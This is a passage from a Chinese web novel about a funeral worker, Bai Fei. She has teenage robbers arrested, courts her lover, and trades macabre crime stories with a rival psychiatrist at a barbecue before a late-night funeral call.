警察同志皱着眉,正准备开口,就被打算最后再抢救一下的班主任给打断了。
“您看,既然孩子们钱也还给您了,您就别和他们计较了,让他们认个错就算了吧。”班主任擦了擦脑门的汗,把还瘫软在地上的三人依次拉起来,嘴里道:“还愣着干什么,还不快给人家道歉!”
三人已经有些反应过来了。他们看看白绯,又看看在场的其他人,哆哆嗦嗦问道:“你不是鬼?”
“瞎说什么呢,什么鬼不鬼的,还不快认错!”班主任一脸恨铁不成钢。
三人中的老大先清醒过来,他看了眼严肃立在一边的警察,意识到这次惹到硬点子了,立马开口道歉:“对不起对不起,我们只是一时糊涂,东西还给你了,请原谅我们吧!”
他倒很是能屈能伸,眼角挤出鳄鱼的眼泪,双手合十就要给白绯跪下,“我们还只是个孩子啊!”
他还只是个孩子,千万别放过他。白绯在心里默默接话。
瞅瞅这十五岁的孩子,又会霸凌又会抢钱还会预谋犯罪,下一步是不是就该杀人放火金腰带了?现在已经有一个受害者住进了医院,放任他们这样下去,谁知道还会酿成多少惨剧。
“唉哟,还是个孩子呢就敢抢劫了,将来那还不得上天啊。”白绯却不惯着他们,直接怼了回去,强硬道:“道歉有用的话那还要警察做什么。警察同志,您看看这信封里的东西,我可没撒谎。”
绿毛和青春痘也有些反应过来了,他们看着白绯,还有些摸不清头脑。“她不是鬼吗?鬼还会报警?”
“这孩子,说什么胡话!态度给我放端正点!”校长冷脸呵斥青春痘,转而搓着手和白绯打商量,“您看,您一个成年人,何必和几个未成年的孩子较真呢?”
他嘴里说这话,后背却冷汗直冒。真是要命,怎么在自己的任期里搞出了这么大的幺蛾子,前几天才刚因为校园霸凌的事挨了批评,如今要再闹进警局,自己的帽子就真戴不住了。可千万要大事化了,小事化了啊!
“这您可就错了。正因为我是成年人,才要让他们知道做错事就要受到惩罚,免得他们将来闯出更大的祸。”白绯一句话就把校长堵了个哑口无言。
那边的警察已经拆开信封清点,清点完后脸色更加难看,道:“三千块钱,这属于数额较大,可以处三年以下有期徒刑了。”
校长和班主任的脸当场就绿了,然而白绯一句话却将他们打入了谷底。
“不对哦,警察同志您再看看,里面还有只金牛呢!”
警察闻言继续查看,果然又从信封底部掏出了一只沉甸甸的大金牛。
“三万块,昨晚刚买的,发票还在兜里热乎着呢!”
警察同志闻言若有所思地看了白绯一眼,却也没有多说,只对地上的三人道:“和我去一趟派出所吧,这位老师,请你通知他们的监护人也过来一趟。”
三人这下也顾不上纠结白绯到底是人是鬼了,彻底慌了神。
白绯笑眯眯地看着他们,决定痛打落水狗,开口解释道:“没关系,你们还没满十八呢。”
三人如释重负地舒了一口气,还好还好。继而又疑惑地看着白绯,这人能有这么好心?
果然,就见这个犹如恶鬼般的女人又开口补充道:“但好消息,你们满了十四,是可以担刑事责任的年纪了哦!而且,三万块以上的金额,属于数额巨大,罪加一等呢!”
三人中的老大还有些急智,选择了反咬一口:“警察叔叔,是这个人故意栽赃!我们三个未成年,哪里抢得过这个成年老女人!是…是她故意设下陷阱,引我们上钩!”
都是她自己穿得骚,都是她自己在外面勾三搭四,都是她故意激怒我…啧啧啧,真是让人恶心又百试百灵的借口。
“呵,就知道你们会贼喊捉贼,不过还好,老天也容不下你们,那里正好有摄像头,我已经问老板拷贝了录像,一切让事实说话吧。”
视频将三人如何抢钱的过程录得清清楚楚,不愧白绯当时一边演戏一边走位。而之后发生的一切则正好在镜头之外,自然也无人得知了。
在场诸人都是人精,看着视频里和现在性格截然不同的白绯,都意识到这只怕是有备而来。
班主任垂死挣扎道:“您看着也不是这么柔弱的人啊,怎么当时就这么顺从呢?”
白绯夸张道:“您也太高看我了,我天生胆子就小,他们说不给钱就扒我衣服,我哪敢不从啊!”
事已至此,三人只能如丧考妣般被押上了警车。
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白绯在配合做完笔录后就离开了警局,这下这批霸凌者将为自己做的孽付出代价,程莉莎也安全了。
警局门口,祝临川早早靠在车边等着了。他洗掉了夸张的妆容,穿着干干净净的白衬衫,眉眼间都是温柔。
白绯踮起脚亲了他一口,把手里的金牛塞进了他怀里:“礼物。”
祝临川看着手里憨态可掬的金牛愣住了:“这是…”
白绯有些羞涩地挠了挠下巴,含糊道:“上回看见你身份证了,你不是属牛的嘛!正好今天是你生日,给你送个生日礼物。走吧走吧,忙活一夜,累死我了,我得回去休…”
白绯正准备拉开车门坐进去,突然被祝临川从后一把搂进了怀里。
“谢谢你。”有温热的水珠滴落在她的颈间,“这是我第一次收到生日礼物,我真的…真的很开心。”
白绯放松地倚进了祝临川的怀里,嘴角轻轻抿了抿,笑了。
等回到小楼里,白绯又被激动的祝临川勾着玩了会儿学姐学弟的游戏,爽到直接断片。
她一觉睡到了黄昏,等她迷迷糊糊来到一楼,就看到大家正围着大鹏和小鸡坐在院子里烧烤纳凉。
“绯绯姐,你醒啦,快来吃东西!”陈安夏站起身迎了过来,拉着白绯坐下,给她递过来一串菠萝牛肉:“白叔和周姨给我们准备的,让我们在院子里烧烤,他们吃了点累了,就先回市里了。”
烤过的菠萝酸甜有嚼劲,配合筋道的牛肉,终于唤醒了她的神智。
大鹏和小黑亲热地挨着她的腿坐下,白绯挨个撸了一把,抬头就看到祝临川站在烧烤架边,视线却一直注视着她。
他们的视线在空中相撞,白绯不知怎么的,竟偏开了头,不敢再看。
“刚睡醒,先喝点米粥。”一碗表面飘着厚厚米油的白粥被端了过来,祝临川在白绯身边坐下,拿着勺子竟然要喂她。
“咳…我自己来。”白绯有些心虚,伸手接过粥碗,彼此的手指不经意擦过,激起一阵细细的电流,让她回忆起不久前,自己的手指被一根根含在对方温热的唇舌间舔舐。
她蜷了蜷手指,脸上漫上薄红。
“唉,临川,你这是买了个吊坠啊!真可爱。”一边的陈安夏正在吃西瓜,忽然注意到祝临川动作间掉出脖子领口的吊坠。这可难得,毕竟平时祝临川看着挺不食人间烟火的,没想到突然会带个这么大的黄金吊坠。
“嗯。”祝临川伸手摸了摸吊坠,又不着痕迹地看了快把头埋进粥碗里的白绯一眼,嘴角翘了翘。
“哇,绯绯姐,你头上这发簪也好漂亮啊,有链接吗?”
白绯把耳边的长发捋到耳后,偏头展示发间的千日红,得瑟道:“好看吧?一个老奶奶送我的,是用一种叫千日红的花做的。”
她嘴上对陈安夏说着话,眼神却克制不住地往祝临川那边飘。
老奶奶说这花衬她,一定能把小对象迷得找不到北。
此刻的祝临川,又会是什么表情呢?
43. 茶香四溢
然而祝临川却并没有注意这边,而是低头专心地在给一串秋刀鱼剔鱼刺。
白绯这厢完全是媚眼抛给瞎子看,不满地撇了撇嘴,嘟哝了句:“不解风情。”
她愤愤地偏过头不再看,却没注意到祝临川嘴角突然勾起一抹坏笑。
陈安夏倒是很捧场,她爱惜地轻轻摸了摸簪花,赞叹道:“原来这就是千日红啊!我从前在网上看到过,千日红的花语可是不灭的爱。这簪子奶奶还卖吗?”
白绯摇摇头,伸手把发间的簪花拿了下来递给陈安夏:“我没留奶奶的联系方式。安夏,你喜欢,就送你吧。”
陈安夏笑眯眯地摆摆手,道:“君子不夺人所好,奶奶送给你,是你们之间的缘分,我不好拿的。”
她说完就站起身,跑到小施身边去帮忙烤串了。
耳边“啪嗒”一声轻响,白绯回过头来,就看到眼前的桌子上已经摆了一碟晶莹剔透的鱼肉。
“吃吧,学姐。”低沉磁性又带着些许笑意的声音在耳边响起,让白绯的耳朵发痒,脑海中情不自禁想起之前这人坏笑着一边用力,一边在自己耳边轻声呢喃:“学姐,是这里吗?学弟做得对不对?”
明知她已经被快感折磨得快呼吸不上来,还要反复追问她逼她回答,直到把人惹恼了愤怒地堵上他的唇才得逞地将她送上顶端。
白绯娇嗔地瞪了祝临川一眼,毫不客气地拉过碟子吃起秋刀鱼肉来。熬得糯糯的米粥配上咸甜的鱼肉,把人吃得犹如一只猫儿般满足得眯起了眼睛。
“很好看。”
正吃得兴起,耳边突然响起祝临川的声音。
白绯咬着筷子愣愣抬头:“什么?”
就见祝临川正低头剥虾,侧着的脸上一边嘴角微微勾起:“千日红很衬你。”
不知怎么的,白绯的心跳突然就乱了。按照她的脾气,她应该臭美得回一句:“老娘天下第一美。”
但是她看着眼前把自己送的礼物珍惜地戴在颈间的英俊男人,竟一时失语了。
白绯抬手捂着砰砰乱跳的心脏,意识到自己有些变了。和祝临川的开始只是个意外,然而发展却逐渐偏离了她的设想。
祝临川在她的生活中占的比例越来越高,她竟然也慢慢地开始在意起他的想法,开始不自觉地把目光放在他身上了吗?
这边正在胡思乱想,那头却来了个不速之客。
许久未见的叙医生左手拿着一瓶香槟,右手提着一个西瓜,风流倜傥地倚靠在门边:“老远就听着你们这边热闹,就厚着脸皮过来了,没有打扰你们吧?”
“怎么会!”小施擦了把脸上的汗,热情地招呼他进来:“人多热闹,本来就是想邀请叙医生过来的,又怕冒昧了。眼下正好,快坐~”
陈安夏也很惊喜,接过叙白手里的西瓜,被手里的凉意惊道:“哇,这是提前冰镇过了吗?叙医生真是太周到了,我去切了大家一起吃!”
小黑把大鹏驮在脑袋上,好奇地围着这个陌生人打转,东闻西嗅的。
陈安夏担心它们因为不熟悉而攻击叙白,虽然目前为止,这俩对谁都没有表现出攻击欲,温顺得像两个二傻子,但还是贴心地叫走了它们:“走吧小黑大鹏,你们陪我去厨房~”
小黑很聪明,汪地一声就跟在陈安夏腿边走了。
叙白把手里的香槟插进冰桶里,就施施然坐在了白绯另一侧的椅子上。
“咔嚓”一声脆响,祝临川手里的黑虎虾被分了尸。
“白绯,好久不见。”叙白穿着一身简单的白T,头发在脑后扎成一束马尾,气质慵懒地大方靠在椅背上,不像医生,倒有些像搞艺术的。
叙白无视了嗖嗖放冷气的祝临川,直勾勾注视着冲他摆着一副臭脸的白绯,似笑非笑道:“前几天去看望我的病人,才知道原来白小姐这么古道热肠。”
白绯被发现了也丝毫不怵,一脸“直视我,崽种”的表情,挑了挑柳叶眉,道:“不用谢。”
叙白显然没想到她这么莽,愣了片刻,竟然笑了。
白绯从不内耗,反正她去看程莉莎的事也已经被发现了,索性采取了激将法:“叙医生,程莉莎在你这里病情不仅没有好转,反而恶化到采取了极端措施的地步…我觉得你就别再耽误她了,让她另寻高明吧,你说呢?”
二人彼此对视间皆是心照不宣。
叙白慢吞吞地点了点头:“好啊。”
白绯刚松了口气,就听见这人又欠欠地开了口:“说来也有些奇怪,我昨天竟然在附近的树上发现了一颗太阳能摄像头,镜头还正好对着我的别墅…”
他意味深长地笑笑,好像真有那么回事似地关心道:“也不知这人到底是什么居心,白小姐,你们最近可也要注意安全呐,谁知道那变态是冲谁来的,会不会也盯上你们呢?”
白绯:就是冲你这个变态来的。
她虽然没问过陆寻,但估摸着这摄像头十有八九是他装的。看来,得通知陆寻尽快把摄像头拆了,可别被叙白顺藤摸瓜最后找到他身上去。
但是输人不输阵,白绯嘴上却一点也不饶人:“哦?我还以为叙医生就喜欢给人看呢~”
就差直接吐槽他是暴露狂了。
叙白却并不恼,意有所指道:“白小姐又何必演我,你明知道我只想给你看而已。”
祝临川不知道二人之间的猫腻,他只知道叙白一来就吸引了白绯的全部视线。无法控制的暴怒从心底肆虐而起,让他差点维持不住表面的体面。
白绯是那么完美,而自己不过是一个没钱没势的孤儿,面对叙白这样有财有貌又有社会地位的竞争对手,让他内心控制不住地自卑。他知道所有人都很喜欢叙白,幸好白绯对他似乎有些意见。然而这依然让他内心充满了不安全感,毕竟自己对于白绯而言,也只不过是个可有可无的床伴罢了。
“绯绯,吃虾。”祝临川把一碟子虾肉摆在白绯面前,打断了二人的对话。他伸手揽住白绯的腰肢,把人往自己怀里搂了搂,虚张声势地对叙白道:“叙医生,还请你自重。”
他表面悍然无畏地和叙白对视,其实心里却直打鼓,因为他没有把握,不知道白绯会不会揭穿他。
然而白绯却并没有说什么,只是就那么温顺地待在他身边吃起虾肉来。
正好陈安夏端着切好的西瓜回来,祝临川突然扬声道:“
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安夏,你刚才不是问我这坠子吗?”
陈安夏放下西瓜,愣了愣才想起来,回答道:“是啊,今天见你新戴的,这牛牛还挺可爱的。”
祝临川余光注意到叙白的视线也落在了自己的颈间,很做作地挺了挺胸,道:“嗯,是我喜欢的人送我的生日礼物。”
小施正好把一打烤好的生蚝和扇贝端过来,闻言羡慕道:“哟,临川,好福气啊!”
陈安夏也捧着脸憧憬道:“真好,她肯定也很喜欢你,祝你们早日修成正果啊!”
祝临川摸了摸脚边的小黑和大鹏,偏头注视着怀里有些心虚的白绯,嘴角微勾,道:“嗯,我对她的心正如千日红。”
叙白眯着眼睛看了看白绯发间的簪花,哪里还不明白祝临川说的是谁。
他不着痕迹地冷笑了一声,从口袋里掏出一张画展的门票,递给白绯:“这是丽莎托我转交给你的。她说多亏了你的指点,她爸爸妈妈不再反对她画画,还鼓励她去投稿,意外地获了奖,这两天画作在沙龙展出。丽莎特意问主办方求来了门票,希望你能去看看。”
这倒是意外之喜了。
白绯心里很高兴,面上却没什么表现,只从叙白手里接过门票,冷哼了一声没有说话。
祝临川已经懒得再演了,直接下达了逐客令:“叙医生,你还有事吗?”
言下之意没事就可以滚了。
叙白终于正眼看他,笑道:“怎么,小祝你找我有事?”
祝临川阴沉着脸不说话。
叙白看他臭脸,越发装模作样起来:“小祝,我年长你几岁,在社会上也算有点能量,你有什么不懂的,只管问我。毕竟你还只是个学生,懂的有限,不用不好意思。”
陈安夏这个社恐和人打交道太少,压根没听出叙白话语里的茶含量,还在那边感叹:“叙医生,你可真是个好人啊。”
祝临川冷笑一声,竟答应了:“那以后还得麻烦叙医生了。确实,年纪大的阅历丰富,不像我,还年轻,未来还有很多可能,有时候都不知道该选哪条路好了呢!”
年近30的叙白嘴角抽了抽,继“好人卡”后又接下了一张“老年卡”。
小施埋头哐哐炫了一把串,又给大鹏和小黑放了点没放调料的玉米和肉下去,兴致勃勃道:“光吃烧烤有点干巴,要不我们来玩游戏吧!”
“好啊好啊。真心话大冒险怎么样?”陈安夏很兴奋地提议:“我想玩这个很久了!”
她不好意思地揪了一束头发在指间打转,笑道:“你们也知道我社恐嘛,还从来没有玩过这类游戏呢。”
白绯原本已经想起身离开,闻言又坐了下来。这可是个打探秘密的好机会啊,也不知叙白有没有这个胆量留下来?
她看向叙白,却不想叙白竟然也下意识地看向她。
“好啊!”白绯翘着二郎腿,挑衅地看向叙白:“叙医生,一起玩玩吗?”
叙白风度翩翩一拱手:“美人的邀请,自然奉陪了。”
祝临川沉着脸看了看他俩,开口道:“开始吧。”
在场五人一狗一鸡,其中三个都心怀鬼胎,就这么开始了这场游戏。
44. 不一样的真心话大冒险
陈安夏从屋里拿了个骰子出来。
众人决定游戏规则,点数最大的人可以向点数最小的人提问,若是不愿意回答,也可以选择大冒险。
第一轮,点数最大的是陈安夏,点数最小的是小施。
陈安夏托腮想了想,道:“小施哥,说说至今为止让你心理阴影最大的事吧。”
小施把大鹏托在掌心里盘,闻言凝神思索了片刻:“心理阴影面积最大的事啊...”
他恶寒地抖了抖,回答道:“那肯定是这件事了。在我刚上小学的时候,我和父母都住在B县。当时有一辆大货车在村里不慎翻了车,车上的冻肉撒了一地。那时候经济条件不好,人们的素质也不高,大家一拥而上就把肉抢了个干净,还把企图阻拦的司机父子俩打了一顿。”
“天呐,这也太过分了吧!”陈安夏义愤填膺,不可置信道:“抢人家的东西还打人,还有没有天理了!”
小施叹了口气,“是啊,当时那父子俩被打得鼻青脸肿,人都麻了。那一车的东西在当时可值不少钱,这损失足够压垮一个家庭了。”
“那后来呢?他们报警了吗,有没有把丢的肉都抢回来?”陈安夏平时不太与人接触,还颇有些不谙世事的天真,期待地追问道。她总认为,世界就像故事里描写的那样,好人总有好报,坏人最终也会受到惩罚,正义一定能得到伸张。
“没有用的。”祝临川叠着腿,语气很淡。他早早进入社会,也算见识过世态炎凉人心险恶,“哄抢的人多,哪里找得过来。就算等你找到人,也早把肉吃进肚子了,你还能让他吐出来不成?”
“是啊。”小施点点头,回答道:“那父子俩估计也是这么想的,就开车离开了。结果第二天一早,那条路上又掉了不少肉。大家都以为又是哪辆冷藏车不小心在这儿翻了,照旧捡了回去炖了吃。我奶奶看他们都在捡,就也拿了一块回来,但在清洗的时候却发现这肉有些不对劲。”
“哪儿不对劲?”陈安夏追问道,“小施哥,你快说吧,别卖关子了。”
小施回忆起当时的场景还有些反胃:“我奶奶眼睛不好,就喊我过去看。说这肉触感不像牛羊猪,而且还带着不少褶子,从没见过这样的。”
他艰难地咽了咽口水,揭晓了谜底:“我越看越觉得,这块东西看起来非常像人类的□□。”
众人:...
“我吓得报了警,警察把肉带回去化验,结果证实还真是人肉...但是等警察再回来找时,其余的肉块早就已经被吃掉了。”
“呕...怎么会这样?”陈安夏听得三观破碎,连连干呕,捂着嘴脸色都白了。
“怎么会是人肉?”白绯皱着眉问道。
小施叹了口气,继续道:“后来警察在镇子上蹲守,很快在凌晨等来了一辆冷藏车。司机偷偷摸摸往地上扔肉块的时候被抓了个人赃并获,还在车厢里找到了被切割掉一部分躯体的尸体。当时尸体已经被冻硬了,还被摆成了撅着臀部跪在地上的样子。尸体臀部的肉已经被削去,也正是上次我奶奶捡到的那部分...据痕检和法医调查,尸体应该还被当成凳子在坐,残缺的臀部上有司机裤子上的纤维。而这辆车,正是上次在这里翻车的那辆冷藏车,凶手就是他们父子两个。”
众人一时都有些唏嘘,倒是叙白叠着退,语气无波不澜道:“他们倒还挺有创意。”
陈安夏在这夏夜活生生听出了一身鸡皮疙瘩,搂着小黑汲取它身上的体温,一言难尽道:“所以他们是因为上次被抢怀恨在心,所以才绑了抢肉的村民,报复杀害并且亵渎尸体吗?”
没想到小施却摇了摇头,道:“不是,死者并没有抢肉,也不是镇上的居民。她只是和镇上一个青年在谈恋爱,当天小情侣吵架,她独自负气离开,没想到会在离开的途中遭到不测...”
白绯叹了口气,惋惜道:“可怜了这个无辜的女孩,真是无妄之灾啊。”
“是啊。”小施苦笑道,“后来好一阵子,我们村的肉都卖不出去,大家都有心理阴影了。我连着做了快一个月的噩梦,差点从此就改吃素了。”
陈安夏哭丧着脸嘤嘤道:“我现在就吃不下了。”
白绯已经习惯了,除了唏嘘倒也没觉得有什么不适,宽慰道:“其实我们平时吃的肉不也是动物的尸块嘛!这样想有没有好一点?”
陈安夏被恶心出了痛苦面具:“谢谢你安慰我绯绯姐,说得很好,求求你憋说了。”
白绯哈哈大笑。
祝临川抿着嘴笑了笑,看着白绯的眼神充满了宠溺。
叙白的视线不着痕迹地在二人身上一转即回,率先拿起了骰子:“开始第二轮吧。”
第二轮,点数最大的是叙白,点数最小的是祝临川。
祝临川的后背都绷紧了,如临大敌地看着叙白。叙白不怀好意地勾勾嘴角,慢条斯理道:“别紧张啊,年轻人。”
他刻意加重了“年轻人”的读音,缓缓道:“老夫也不是什么魔鬼,就简单介绍下你的家庭吧。”
白绯一口酒差点喷出来。也不知这叙白是无意还是故意,竟然恰恰戳中了祝临川的伤处。她赶紧找补道:“唉,这有什么意思,这局还是换成大冒险吧。”
然而叙白却没准备这么轻易放过他,似笑非笑道:“也行啊~唔,那就亲吻你左手边的人吧。”
祝临川往左边看去,和捧着大鹏一脸无辜的小施看了个眼对眼。
小施在祝临川冰冷的注视下颤抖着抬手捂住了自己的嘴:“嘤嘤嘤,还是不要了吧,人家的初吻还想留给未来的女朋友呢呜呜呜。”
白绯心里也有点不是滋味。祝临川怎么能吻别的人?!就算是男人也不行!但是,真的让他在大庭广众下自揭伤疤吗?
然而还不等她纠结出个一二三来,祝临川已经果断地开口了:“我在H乡出生,父母在我三岁时车祸离世,如今一个人生活。”
叙白茶茶地作惊讶状,感叹道:“原来是孤儿啊~”
他这一声腔调拖得很长,既像是在惊讶,又像是在阴阳:“真是对不住啊,让你尴尬了。你这孩子也真是的,怎么这么实诚呢?”
“没什么不能说的。”祝临川却很坦荡。
换成从前,他确实对这件事讳莫如深,但自从白绯陪伴他回家乡找到父母的照片和遗骨后,他心中之意已平。
他面朝父母墓碑的方向,轻轻笑了声:“他们在世时疼我爱我,如今也在这日日守护着我,还见了我发誓要共度余生的爱慕之人,还有什么遗憾的呢?”
叙白:...大意了,没想到这样都能秀。
白绯满意地看着不卑不亢的祝临川,在心里给他点了个赞。不愧是我的男人,这把打得漂亮。
她揶揄地斜眼看叙白,果然笑容只会转移不会消失。也不知祝临川这番话戳中了他哪个痛脚,叙白的脸色竟阴沉得可怕,差点都维持不住他平时衣冠禽兽的表象。
小施和陈安夏这才知道还有这回事。
“原来叔叔阿姨也葬在这里。”小施举杯朝向墓地,将酒洒在地上,“一杯薄酒,叔叔阿姨还请不要嫌弃。”
陈安夏怜惜地看着祝临川:“临川,你挺不容易的。不过还好,如今也算苦尽甘来了。”
“好了好了,来玩下一把。”白绯摩拳擦掌地捡起了骰子,率先掷出了个5。
第三轮,点数最大的是小施,点数最小的是叙白。
白绯懊恼地拍了拍自己掷骰子的右手,默默吐槽道:我这死手,怎么这么非酋。
小施为人老实,和叙白又不熟,不好意思闹太过,就挑了个中规中矩的问题:“叙医生,你担任心理医生的这些年里,发生过什么让你印象深刻的事吗?”
叙白此时已经有些缓过来了,又恢复了那副道貌岸然的模样,沉吟片刻后道:“你们曾经听说过24个比利吗?”
小施和陈安夏一脸茫然地摇头,倒是祝临川慢慢开口解释
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起来:“比利出生于迈阿密,22岁时犯下三宗□□罪被捕,却在庭审过程中被诊断为多重人格分裂症,并在治疗过程中发现他总共有24个人格。”
白绯听得连连咋舌:“伏地魔切片都只敢切7个,他这是把自己的精神切成土豆丝儿了吗?”
小施有些难以置信:“人真的分裂出这么多人格?”
“一般不会有这么多,比利这个病例算是比较特殊的。”叙白侃侃而谈道,“后来我也曾遇到一个病人,他分离出了5个人格。他分离出的人格和比利有些相似。管理人格家族决定由谁出面控制身体的大家长人格,精通武术能控制肾上腺素爆发的军事战术专家人格,掌握所有人格记忆的幕后观察者人格,承受所有痛苦的孩子人格,还有好战嗜杀的反社会人格。”
“听起来就很危险啊。”小施听得目瞪口呆,“虽然说他生病很可怜,但是这种有攻击性的精神病人对普通人而言也真的是个定时炸弹。以前我小时候好好地在路上走,莫名其妙就被一个擦肩而过的路人暴打。幸好有个晨练的奶奶看见,喊人过来吓退了他。后来警察来了,查出来这是个精神病,就把他给放了。我的脑袋上现在都还留着疤呢。说来这些人也奇怪,你说他精神不正常吧,他还知道挑老人小孩女人打。但偏偏又因为精神病,法律还不能惩罚他。这对我们这些无辜的普通人真的很不公平耶。”
陈安夏也心有戚戚,突然就觉得自己社恐的毛病都无伤大雅了。毕竟她只是不敢和人说话,又不会伤害他人。
叙白挑着唇意味深长地笑了笑:“我们治疗人格分裂,除了药物和心理治疗,也会利用一些艺术手段进行辅助,例如最常见的绘画治疗。后来,我偶然看到了他的画稿,发现他爱上了一个女人。”
白绯犀利吐槽:“这个女孩子被他看上也真是点背。叙医生,你说是不是。”
比如说被你看上的我。
白绯摆出一副死鱼眼瞪着她,无声地释放怨念。
但叙白并没有接白绯的话茬,只是解释道:“但是这位病人表达爱意的方式比较特殊。在他的画稿中,她将心爱的女人做成了一把椅子,和小施故事里的那对司机父子倒是不谋而合呢。”
“变态啊!”陈安夏哆嗦着抱紧了自己,差点把怀里的小黑给挤死:“这算哪门子喜欢啊!”
“都说天才和疯子间只有一念之差。”叙白翘着腿懒懒继续道,“他认为,将爱人做成椅子,就能永永远远在一起,这何尝不是一种浪漫呢?”
祝临川冷笑一声:“觉得浪漫,他怎么不把自己做成椅子送给人家姑娘坐?”
小施很担心,追问道:“那后来呢,那个姑娘没事吧?”
“没事。”叙白勾勾嘴角,“因为在这个病人实施计划前他就死了。”
“啊?他怎么死的?”陈安夏既为那个姑娘松了口气,又觉得奇怪。
叙白意味深长地看了白绯一眼,解释道:“他分裂出的反社会人格也同时患有性瘾,在天台蹲守来晾衣服的女孩时瘾犯了,用绳索勒住自己的脖子玩窒息玩脱了,挣扎时还不慎摔进了小区水箱里,让那栋楼的居民喝了整一周的尸水,直到水龙头里流出的水带着血和蛆虫,警察过来排查才发现。”
陈安夏:...还能不能好好玩游戏了,今天这个游戏不该叫真心话大冒险,应该叫比比谁的故事更恶心。
“那个,呵呵,要不我们还是别玩游戏了吧?”她抹了把脸上的冷汗,已经完全失去了继续下去的兴趣。
“别呀。”白绯却不甘心。她就像一个赌徒,坚信下一把一定能逆风翻盘,怂恿道:“再玩一把呗!”
她信心满满地拣起骰子,心想,这回总该轮到我了吧。
然后掷出了一个一。
白绯:...拳头硬了。
一圈下来,最后点数最大的祝临川。
叙白看起来很遗憾,白绯却有些忐忑。
祝临川会问她什么问题呢?
45. 是人,是鬼
祝临川垂着头没有看她,心跳如鼓,只有他自己知道他有多紧张。
“白绯,说说你的理想型吧。”
一旁的陈安夏长长吐出一口气,好正常的问题,她一时都有点不适应了呢~不过这样总不会再出现什么谋杀什么尸块了吧?
叙白也沉默着看了过来,眼里满是兴致盎然。
“理想型啊~”白绯摸着自己的下巴重复道,殊不知已经勾得在场的两位男士抓心挠肺。
“理想型就是个伪命题吧?”然而她却给了出乎意料的回答,“人又不是拼图,能找到完美契合自己的另一半。更何况干我们这行的,最明白人生无常,与其去追求爱情这种虚无缥缈的东西,倒还不如及时行乐,自由自在多好。”
其实她还有些话没有说出来。穿书前她自己就是孤儿,虽然一直大大咧咧的似乎很开朗,但只有她自己明白,她心中也是有怨的。生而不养,又何必把自己带到这个世界中来呢?爽的时候带个套有那么难吗?
因此她天然地抵触父母这一身份,虽然穿书过后白书远和周芸让她感受到了正常父母的该有的模样,但她依然无法想象自己有一天也成为一名母亲。她害怕自己做不好,怕自己最后也不过是变成了曾经自己最讨厌的模样。
当然,她也可以丁克。然而现实生活中有太多的男人人到中年就突然变卦,憧憬起了天伦之乐,背叛发妻在外面找年轻女孩生儿育女。与其在最后被人背刺,倒不如一开始就放弃寻找能和自己相伴终身的人。
爱情实在是虚无缥缈,命运也总是难于捉摸。还不如孑然一身,潇洒自在。
祝临川有些落寞地垂下了眼。他不是不知道白绯的想法,只是内心总还抱着一丝幻想。万一呢,万一自己对她是特别的,特别到改变多年以来的坚持,为自己破例呢?
他自嘲地笑笑,没有说话。
陈安夏双肘撑在腿上,捧着脸羡慕地看着白绯:“绯绯姐,你好酷哦!”
她叹了口气,道:“虽然我不喜欢被逼着去相亲,但我还是很憧憬爱情的。一个人真的很孤单,不知道我还有没有这个运气能找到我的灵魂伴侣。”
叙白不以为然地挑挑眉,没有多说什么。
“你们玩。”他站起身,风度翩翩地冲白绯点点头,“我明天还有病人要接待,就先回去了。”
白绯惋惜地叹了口气,没想到竟然会因为自己的非酋手气失去这么好的打探叙白秘密的机会,真是恨啊!
其他人也都累了,于是简单收拾了下,各回各家了。
白绯才刚睡醒没多久,也不困,索性躺在床上看片。她还记得叙白之前发现摄像头的事情,特意通知了陆寻一声,让他小心,实在不行就别再调查叙白了,还是以自己的安全为第一要务,把陆寻感动得都快哭了。
她随意挑了视频网站上的热门片子,结果点开后才发现竟然还是个鬼片。
片子里小男孩捂着自己的嘴躲在床下,却被长得犹如巨人观般的不明怪物抓着脚踝拖了出来。
小男孩奋力挣脱,夺门而出。然而深夜的小镇里却静谧得可怕,无论他如何呼喊都无人回应,空气中只有他剧烈的喘息声。
终于,前方的河边出现了一个男人的背影,看他的模样,似乎正在往河里抛洒什么东西。然而河边漆黑一片,小男孩什么也看不清。
“救命!有怪物!”男孩犹如抓住了救命稻草,带着哭腔向男人求救。
然而被抓住胳膊的男人却不动如山,转过脸来定定地看着他。
“嘘…”他竖起一根手指立在唇边,漆黑的瞳孔牢牢锁定已经跑脱力的男孩。“小声点,我在喂鱼,别吓到他们。”
“喂…喂鱼?”男孩已经有些懵了,下意识看向漆黑的河面,果然听到有很多东西在水里扑腾拍打水面的声音。
“对啊。”男人从手中的罐子里抓出一把饲料抛洒进河里,嘴角勾着诡谲的笑:“他们都看着你呢。”
随着他话音落下,天空中遮挡月亮的云层终于被风吹开。随着月色照亮波光粼粼的水面,男孩终于看清了那些所谓的鱼。
那是足足上百个类人型生物,皮肤苍白没有毛发,浑身布满粘液,正瞪着如鲶鱼般的眼睛簇拥在他脚下的水面仰头看着他。
白绯:…好无聊。
她懒懒地打了个哈欠,看着屏幕上的男孩在尖叫一声后又开始了夺命狂奔。就在她正有点昏昏欲睡的时候,手机电话铃声突然响了。
白绯都不用看就知道肯定是工作电话。毕竟一般情况下,深更半夜的,除了不做人的资本家,还有谁会给牛马打电话。
但在白绯这一行,订单却总是在晚上来,他们也早就习以为常了。
电话是小施打来的,他显然应该也是从睡梦中被吵醒的,声音听着都还有些迷糊。
“绯绯姐,来活了。我现在马上回去,一会儿咱们公司汇合。”
公司的长安乐之星停在院子里,车厢里长年放着殡葬必需品,例如净身用具,孝帽顶步,围棺花画圈之类的东西,并且他们每次出单回来后也会查漏补缺。得益于此,众人很快收拾停当,开车向着目的地进发了。
这次的逝者具体情况不明,只知道是个年轻女人。走得很突然,主家什么都没准备。
小施询问他们情况,对方只提了一句,“我们没钱,你们就按最便宜的来。”
车里众人闻言都沉默下来。
“幸好没叫安夏。”小施苦笑一声,“只怕情况不太好,安夏见得不多,别给人家小姑娘留下心理阴影了。”
然而车里三人都没想到,情况竟然比他们设想得更糟糕。
死者竟然还是一名孕妇。
她看起来确实很年轻,眉梢眼角都还很稚嫩。此刻的她头发散乱,嘴角衣襟都沾满了黑色的血液。她就那么孤零零地挺着硕大的肚子静悄悄躺在一块木板上,所有人都一脸避之唯恐不及,躲得远远的。
而更可怕的是,他们竟然听不到一句哭声。
“真晦气啊。这么大的月份竟然喝药死了,不会变成厉鬼吧?老刘,是不是你们欺负你家儿媳妇了,怎么好好的这么想不开?”
